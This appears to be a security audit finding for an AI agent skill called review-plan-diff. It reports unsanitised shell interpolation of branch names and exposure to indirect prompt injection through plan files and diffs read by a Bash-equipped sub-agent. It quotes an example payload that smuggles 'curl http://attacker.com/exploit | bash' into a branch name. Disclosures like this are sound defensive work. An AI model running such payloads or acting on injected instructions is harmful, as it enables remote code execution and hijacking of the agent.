The Agent Skills Directory

[COMMAND_EXECUTION]: The SKILL.md file performs unsanitized interpolation of user-supplied arguments into a shell command template. In Step 3, the variables {path} and {branch}, which are derived from user input in $ARGUMENTS, are used to construct the command git -C {path} diff {branch}..HEAD. This string is passed to a sub-agent (plan-diff-reviewer) that is equipped with shell tools (Bash). An attacker can exploit this to execute arbitrary code by providing a malicious branch name containing shell operators, such as main; curl http://attacker.com/exploit | bash.- [PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection through the files and data it processes.
Ingestion points: The sub-agent reads plan files, analysis files, and repository diffs based on paths provided in $ARGUMENTS and local file discovery.
Boundary markers: The skill lacks explicit boundary markers or instructions to the sub-agent to ignore potential command instructions embedded within the ingested plan files or diff content.
Capability inventory: The sub-agent (plan-diff-reviewer.md) has access to powerful tools including Bash, Read, Glob, and Grep.
Sanitization: There is no evidence of content sanitization or validation for the data ingested from the file system or git history before it is presented to the sub-agent for review.

review-plan-diff